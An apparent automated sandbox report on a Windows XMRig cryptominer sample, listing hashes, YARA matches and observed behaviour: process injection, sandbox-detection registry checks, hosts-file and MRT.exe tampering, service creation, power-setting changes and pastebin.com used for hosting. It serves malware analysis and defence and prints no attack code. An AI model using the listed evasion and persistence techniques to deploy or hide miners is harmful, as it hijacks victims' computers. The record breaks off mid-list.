Analysis
- max time kernel
100s - max time network
120s - platform
windows10-2004_x64 - resource
win10v2004-20241007-en - resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system - submitted
04/11/2024, 10:00
Static task
static1
Behavioral task
behavioral1
Sample
77106bc35dd4b844f12f5cfd31970763a514ae39c4f6b1fb349bab5cef169cccN.exe
Resource
win7-20240903-en
22 signatures
120 seconds
General
- Target 77106bc35dd4b844f12f5cfd31970763a514ae39c4f6b1fb349bab5cef169cccN.exe
- Size 5.3MB
- Sample241104-l1llsaycmd
- SHA256 77106bc35dd4b844f12f5cfd31970763a514ae39c4f6b1fb349bab5cef169ccc
- MD5 e3ced444bae9553d28fb559933f0ec20
- SHA1 f143efaa692722222e521e85887a9e1171eda9fa
- SHA512 799e8ca8c54bb5efe4f3743d2349f268c04f42c8f0240aea951b9e5c8acf7fa6186c1da7971a6a4845cbc31076cd77e54e5e976ba3b7305f220aa3801bf8254e
- SSDEEP 98304:WBJpFxbha2/ZWEmaSZfMo9KPxBrL2NeJRkYuvta5RSlCoYa4yz+dMbbgwvY:UFxNa24bxMPDyrtvo+lCo8MDY
- MD5 SHA1 SHA512 SSDEEP
Malware Config
Signatures
- Suspicious use of NtCreateUserProcessOtherParentProcess 2 IoCs
description pid Process procid_target PID 3344 created 620 3344 powershell.EXE 5 PID 3856 created 620 3856 powershell.EXE 5 - Xmrig family
- XMRig Miner payload 7 IoCs
resource yara_rule behavioral2/memory/4732-88-0x0000000140000000-0x0000000140835000-memory.dmp xmrig behavioral2/memory/4732-90-0x0000000140000000-0x0000000140835000-memory.dmp xmrig behavioral2/memory/4732-91-0x0000000140000000-0x0000000140835000-memory.dmp xmrig behavioral2/memory/4732-93-0x0000000140000000-0x0000000140835000-memory.dmp xmrig behavioral2/memory/4732-92-0x0000000140000000-0x0000000140835000-memory.dmp xmrig behavioral2/memory/4732-94-0x0000000140000000-0x0000000140835000-memory.dmp xmrig behavioral2/memory/4732-87-0x0000000140000000-0x0000000140835000-memory.dmp xmrig -
pid Process 3344 powershell.EXE 3856 powershell.EXE 3208 powershell.exe 2052 powershell.exe - Creates new service(s) 2 TTPs
- Drops file in Drivers directory 2 IoCs
description ioc Process File created C:\Windows\system32\drivers\etc\hosts 77106bc35dd4b844f12f5cfd31970763a514ae39c4f6b1fb349bab5cef169cccN.exe File created C:\Windows\system32\drivers\etc\hosts windows32.exe - Checks BIOS information in registry 2 TTPs 2 IoCs
BIOS information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosDate wmiprvse.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion wmiprvse.exe - Executes dropped EXE 1 IoCs
pid Process 4564 windows32.exe - Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
flow ioc 38 pastebin.com 36 pastebin.com - Power Settings 1 TTPs 8 IoCs
powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.
pid Process 3252 powercfg.exe 4064 powercfg.exe 3328 powercfg.exe 1760 powercfg.exe 2040 powercfg.exe 4768 powercfg.exe 3024 powercfg.exe 3412 powercfg.exe - Drops file in System32 directory 12 IoCs
description ioc Process File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\FB0D848F74F70BB2EAA93746D24D9749 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules.xml OfficeClickToRun.exe File opened for modification C:\Windows\system32\MRT.exe 77106bc35dd4b844f12f5cfd31970763a514ae39c4f6b1fb349bab5cef169cccN.exe File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log powershell.exe File opened for modification C:\Windows\system32\MRT.exe windows32.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.EXE File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.EXE File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157 svchost.exe File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe - Suspicious use of SetThreadContext 6 IoCs
description pid Process procid_target PID 3248 set thread context of 3336 3248 77106bc35dd4b844f12f5cfd31970763a514ae39c4f6b1fb349bab5cef169cccN.exe 116 PID 4564 set thread context of 1480 4564 windows32.exe 153 PID 4564 set thread context of 4268 4564 windows32.exe 154 PID 4564 set thread context of 4732 4564 windows32.exe 155 PID 3344 set thread context of 1436 3344 powershell.EXE 158 PID 3856 set thread context of 1496 3856 powershell.EXE 159 -
resource yara_rule behavioral2/memory/4732-88-0x0000000140000000-0x0000000140835000-memory.dmp upx behavioral2/memory/4732-90-0x0000000140000000-0x0000000140835000-memory.dmp upx behavioral2/memory/4732-91-0x0000000140000000-0x0000000140835000-memory.dmp upx behavioral2/memory/4732-93-0x0000000140000000-0x0000000140835000-memory.dmp upx behavioral2/memory/4732-92-0x0000000140000000-0x0000000140835000-memory.dmp upx behavioral2/memory/4732-94-0x0000000140000000-0x0000000140835000-memory.dmp upx behavioral2/memory/4732-87-0x0000000140000000-0x0000000140835000-memory.dmp upx behavioral2/memory/4732-85-0x0000000140000000-0x0000000140835000-memory.dmp upx behavioral2/memory/4732-82-0x0000000140000000-0x0000000140835000-memory.dmp upx behavioral2/memory/4732-86-0x0000000140000000-0x0000000140835000-memory.dmp upx behavioral2/memory/4732-81-0x0000000140000000-0x0000000140835000-memory.dmp upx behavioral2/memory/4732-84-0x0000000140000000-0x0000000140835000-memory.dmp upx - Launches sc.exe 14 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 3448 sc.exe 3792 sc.exe 2296 sc.exe 4968 sc.exe 4512 sc.exe 4060 sc.exe 1472 sc.exe 4560 sc.exe 452 sc.exe 1608 sc.exe 2460 sc.exe 1044 sc.exe 4388 sc.exe 3304 sc.exe - Checks SCSI registry key(s) 3 TTPs 18 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000 wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\ConfigFlags wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\HardwareID wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\DeviceDesc wmiprvse.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_QEMU&PROD_QEMU_DVD-ROM\4&215468A5&0&010000\LogConf wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Mfg wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\DeviceDesc wmiprvse.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000\LogConf wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\ConfigFlags wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\HardwareID wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\CompatibleIDs wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName wmiprvse.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_QEMU&PROD_QEMU_DVD-ROM\4&215468A5&0&010000 wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\FriendlyName wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Service wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\CompatibleIDs wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\Mfg wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\Service wmiprvse.exe - Checks processor information in registry 2 TTPs 6 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 wmiprvse.exe Key queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 wmiprvse.exe Key security queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 wmiprvse.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Component Information wmiprvse.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString wmiprvse.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier wmiprvse.exe - Enumerates system info in registry 2 TTPs 1 IoCs
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier wmiprvse.exe - Modifies data under HKEY_USERS 64 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.EXE Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\CRLs svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\ROOT dialer.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\CTLs svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates dialer.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\Disallowed\CTLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\Certificates svchost.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSCategoriesSeverities = "1329 10,1329 50,1329 15,1329 100,1329 6" OfficeClickToRun.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\trust\CRLs svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" powershell.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\Certificates svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\Certificates svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.EXE Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\Root\CTLs svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\trust svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.EXE Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\CA\CTLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\CTLs svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.EXE Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\trust\CTLs svchost.exe Key deleted \REGISTRY\USER\.DEFAULT\SOFTWARE\MICROSOFT\OFFICE\16.0\COMMON\CLIENTTELEMETRY\RULESMETADATA\OFFICECLICKTORUN.EXE\ULSMONITOR OfficeClickToRun.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\CTLs svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.EXE Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\CA svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\Root\Certificates svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.EXE - Modifies registry class 4 IoCs
description ioc Process Key deleted \REGISTRY\USER\S-1-5-21-3442511616-637977696-3186306149-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\454e1213-5f5f-4cd4- RuntimeBroker.exe Key created \REGISTRY\USER\S-1-5-21-3442511616-637977696-3186306149-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable RuntimeBroker.exe Key created \REGISTRY\USER\S-1-5-21-3442511616-637977696-3186306149-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System RuntimeBroker.exe Key deleted \REGISTRY\USER\S-1-5-21-3442511616-637977696-3186306149-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\7b0e5740-6bd1-4ec0- RuntimeBroker.exe - Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 3248 77106bc35dd4b844f12f5cfd31970763a514ae39c4f6b1fb349bab5cef169cccN.exe 2052 powershell.exe 2052 powershell.exe 3248 77106bc35dd4b844f12f5cfd31970763a514ae39c4f6b1fb349bab5cef169cccN.exe 3248 77106bc35dd4b844f12f5cfd31970763a514ae39c4f6b1fb349bab5cef169cccN.exe 3248 77106bc35dd4b844f12f5cfd31970763a514ae39c4f6b1fb349bab5cef169cccN.exe 3248 77106bc35dd4b844f12f5cfd31970763a514ae39c4f6b1fb349bab5cef169cccN.exe 3248 77106bc35dd4b844f12f5cfd31970763a514ae39c4f6b1fb349bab5cef169cccN.exe 3248 77106bc35dd4b844f12f5cfd31970763a514ae39c4f6b1fb349bab5cef169cccN.exe 3248 77106bc35dd4b844f12f5cfd31970763a514ae39c4f6b1fb349bab5cef169cccN.exe 3248 77106bc35dd4b844f12f5cfd31970763a514ae39c4f6b1fb349bab5cef169cccN.exe 3248 77106bc35dd4b844f12f5cfd31970763a514ae39c4f6b1fb349bab5cef169cccN.exe 3248 77106bc35dd4b844f12f5cfd31970763a514ae39c4f6b1fb349bab5cef169cccN.exe 3248 77106bc35dd4b844f12f5cfd31970763a514ae39c4f6b1fb349bab5cef169cccN.exe 3248 77106bc35dd4b844f12f5cfd31970763a514ae39c4f6b1fb349bab5cef169cccN.exe 3248 77106bc35dd4b844f12f5cfd31970763a514ae39c4f6b1fb349bab5cef169cccN.exe 3248 77106bc35dd4b844f12f5cfd31970763a514ae39c4f6b1fb349bab5cef169cccN.exe 3248 77106bc35dd4b844f12f5cfd31970763a514ae39c4f6b1fb349bab5cef169cccN.exe 4564 windows32.exe 3344 powershell.EXE 3208 powershell.exe 3208 powershell.exe 3344 powershell.EXE 4564 windows32.exe 4564 windows32.exe 4564 windows32.exe 4564 windows32.exe 4564 windows32.exe 4564 windows32.exe 4564 windows32.exe 4564 windows32.exe 4564 windows32.exe 4564 windows32.exe 4564 windows32.exe 4564 windows32.exe 4564 windows32.exe 3344 powershell.EXE 1436 dllhost.exe 1436 dllhost.exe 3856 powershell.EXE 3856 powershell.EXE 1436 dllhost.exe 1436 dllhost.exe 1436 dllhost.exe 1436 dllhost.exe 1436 dllhost.exe 1436 dllhost.exe 3856 powershell.EXE 1436 dllhost.exe 1436 dllhost.exe 1436 dllhost.exe 1436 dllhost.exe 3856 powershell.EXE 3856 powershell.EXE 1496 dllhost.exe 1496 dllhost.exe 1496 dllhost.exe 1496 dllhost.exe 1496 dllhost.exe 1496 dllhost.exe 1496 dllhost.exe 1496 dllhost.exe 1496 dllhost.exe 1496 dllhost.exe - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 2052 powershell.exe Token: SeShutdownPrivilege 3024 powercfg.exe Token: SeCreatePagefilePrivilege 3024 powercfg.exe Token: SeShutdownPrivilege 3412 powercfg.exe Token: SeCreatePagefilePrivilege 3412 powercfg.exe Token: SeShutdownPrivilege 4064 powercfg.exe Token: SeCreatePagefilePrivilege 4064 powercfg.exe Token: SeShutdownPrivilege 3252 powercfg.exe Token: SeCreatePagefilePrivilege 3252 powercfg.exe Token: SeDebugPrivilege 3344 powershell.EXE Token: SeDebugPrivilege 3208 powershell.exe Token: SeShutdownPrivilege 4768 powercfg.exe Token: SeCreatePagefilePrivilege 4768 powercfg.exe Token: SeShutdownPrivilege 1760 powercfg.exe Token: SeCreatePagefilePrivilege 1760 powercfg.exe Token: SeShutdownPrivilege 3328 powercfg.exe Token: SeCreatePagefilePrivilege 3328 powercfg.exe Token: SeShutdownPrivilege 2040 powercfg.exe Token: SeCreatePagefilePrivilege 2040 powercfg.exe Token: SeLockMemoryPrivilege 4732 dialer.exe Token: SeDebugPrivilege 3344 powershell.EXE Token: SeDebugPrivilege 1436 dllhost.exe Token: SeDebugPrivilege 3856 powershell.EXE Token: SeAssignPrimaryTokenPrivilege 2132 svchost.exe Token: SeIncreaseQuotaPrivilege 2132 svchost.exe Token: SeSecurityPrivilege 2132 svchost.exe Token: SeTakeOwnershipPrivilege 2132 svchost.exe Token: SeLoadDriverPrivilege 2132 svchost.exe Token: SeSystemtimePrivilege 2132 svchost.exe Token: SeBackupPrivilege 2132 svchost.exe Token: SeRestorePrivilege 2132 svchost.exe Token: SeShutdownPrivilege 2132 svchost.exe Token: SeSystemEnvironmentPrivilege 2132 svchost.exe Token: SeUndockPrivilege 2132 svchost.exe Token: SeManageVolumePrivilege 2132 svchost.exe Token: SeAssignPrimaryTokenPrivilege 2132 svchost.exe Token: SeIncreaseQuotaPrivilege 2132 svchost.exe Token: SeSecurityPrivilege 2132 svchost.exe Token: SeTakeOwnershipPrivilege 2132 svchost.exe Token: SeLoadDriverPrivilege 2132 svchost.exe Token: SeSystemtimePrivilege 2132 svchost.exe Token: SeBackupPrivilege 2132 svchost.exe Token: SeRestorePrivilege 2132 svchost.exe Token: SeShutdownPrivilege 2132 svchost.exe Token: SeSystemEnvironmentPrivilege 2132 svchost.exe Token: SeUndockPrivilege 2132 svchost.exe Token: SeManageVolumePrivilege 2132 svchost.exe Token: SeAssignPrimaryTokenPrivilege 2132 svchost.exe Token: SeIncreaseQuotaPrivilege 2132 svchost.exe Token: SeSecurityPrivilege 2132 svchost.exe Token: SeTakeOwnershipPrivilege 2132 svchost.exe Token: SeLoadDriverPrivilege 2132 svchost.exe Token: SeSystemtimePrivilege 2132 svchost.exe Token: SeBackupPrivilege 2132 svchost.exe Token: SeRestorePrivilege 2132 svchost.exe Token: SeShutdownPrivilege 2132 svchost.exe Token: SeSystemEnvironmentPrivilege 2132 svchost.exe Token: SeUndockPrivilege 2132 svchost.exe Token: SeManageVolumePrivilege 2132 svchost.exe Token: SeAssignPrimaryTokenPrivilege 2132 svchost.exe Token: SeIncreaseQuotaPrivilege 2132 svchost.exe Token: SeSecurityPrivilege 2132 svchost.exe Token: SeTakeOwnershipPrivilege 2132 svchost.exe Token: SeLoadDriverPrivilege 2132 svchost.exe - Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 1124 wrote to memory of 4788 1124 cmd.exe 101 PID 1124 wrote to memory of 4788 1124 cmd.exe 101 PID 3248 wrote to memory of 3336 3248 77106bc35dd4b844f12f5cfd31970763a514ae39c4f6b1fb349bab5cef169cccN.exe 116 PID 3248 wrote to memory of 3336 3248 77106bc35dd4b844f12f5cfd31970763a514ae39c4f6b1fb349bab5cef169cccN.exe 116 PID 3248 wrote to memory of 3336 3248 77106bc35dd4b844f12f5cfd31970763a514ae39c4f6b1fb349bab5cef169cccN.exe 116 PID 3248 wrote to memory of 3336 3248 77106bc35dd4b844f12f5cfd31970763a514ae39c4f6b1fb349bab5cef169cccN.exe 116 PID 3248 wrote to memory of 3336 3248 77106bc35dd4b844f12f5cfd31970763a514ae39c4f6b1fb349bab5cef169cccN.exe 116 PID 3248 wrote to memory of 3336 3248 77106bc35dd4b844f12f5cfd31970763a514ae39c4f6b1fb349bab5cef169cccN.exe 116 PID 1448 wrote to memory of 3140 1448 cmd.exe 137 PID 1448 wrote to memory of 3140 1448 cmd.exe 137 PID 4564 wrote to memory of 1480 4564 windows32.exe 153 PID 4564 wrote to memory of 1480 4564 windows32.exe 153 PID 4564 wrote to memory of 1480 4564 windows32.exe 153 PID 4564 wrote to memory of 1480 4564 windows32.exe 153 PID 4564 wrote to memory of 1480 4564 windows32.exe 153 PID 4564 wrote to memory of 1480 4564 windows32.exe 153 PID 4564 wrote to memory of 4268 4564 windows32.exe 154 PID 4564 wrote to memory of 4268 4564 windows32.exe 154 PID 4564 wrote to memory of 4268 4564 windows32.exe 154 PID 4564 wrote to memory of 4268 4564 windows32.exe 154 PID 4564 wrote to memory of 4268 4564 windows32.exe 154 PID 4564 wrote to memory of 4268 4564 windows32.exe 154 PID 4564 wrote to memory of 4268 4564 windows32.exe 154 PID 4564 wrote to memory of 4268 4564 windows32.exe 154 PID 4564 wrote to memory of 4268 4564 windows32.exe 154 PID 4564 wrote to memory of 4732 4564 windows32.exe 155 PID 4564 wrote to memory of 4732 4564 windows32.exe 155 PID 4564 wrote to memory of 4732 4564 windows32.exe 155 PID 4564 wrote to memory of 4732 4564 windows32.exe 155 PID 4564 wrote to memory of 4732 4564 windows32.exe 155 PID 3344 wrote to memory of 1436 3344 powershell.EXE 158 PID 3344 wrote to memory of 1436 3344 powershell.EXE 158 PID 3344 wrote to memory of 1436 3344 powershell.EXE 158 PID 3344 wrote to memory of 1436 3344 powershell.EXE 158 PID 3344 wrote to memory of 1436 3344 powershell.EXE 158 PID 3344 wrote to memory of 1436 3344 powershell.EXE 158 PID 3344 wrote to memory of 1436 3344 powershell.EXE 158 PID 3344 wrote to memory of 1436 3344 powershell.EXE 158 PID 1436 wrote to memory of 620 1436 dllhost.exe 5 PID 1436 wrote to memory of 684 1436 dllhost.exe 7 PID 1436 wrote to memory of 948 1436 dllhost.exe 12 PID 1436 wrote to memory of 316 1436 dllhost.exe 13 PID 1436 wrote to memory of 528 1436 dllhost.exe 14 PID 1436 wrote to memory of 912 1436 dllhost.exe 15 PID 1436 wrote to memory of 1088 1436 dllhost.exe 17 PID 1436 wrote to memory of 1104 1436 dllhost.exe 18 PID 1436 wrote to memory of 1112 1436 dllhost.exe 19 PID 1436 wrote to memory of 1152 1436 dllhost.exe 20 PID 1436 wrote to memory of 1256 1436 dllhost.exe 21 PID 1436 wrote to memory of 1296 1436 dllhost.exe 22 PID 1436 wrote to memory of 1340 1436 dllhost.exe 23 PID 1436 wrote to memory of 1376 1436 dllhost.exe 24 PID 1436 wrote to memory of 1416 1436 dllhost.exe 25 PID 1436 wrote to memory of 1544 1436 dllhost.exe 26 PID 1436 wrote to memory of 1568 1436 dllhost.exe 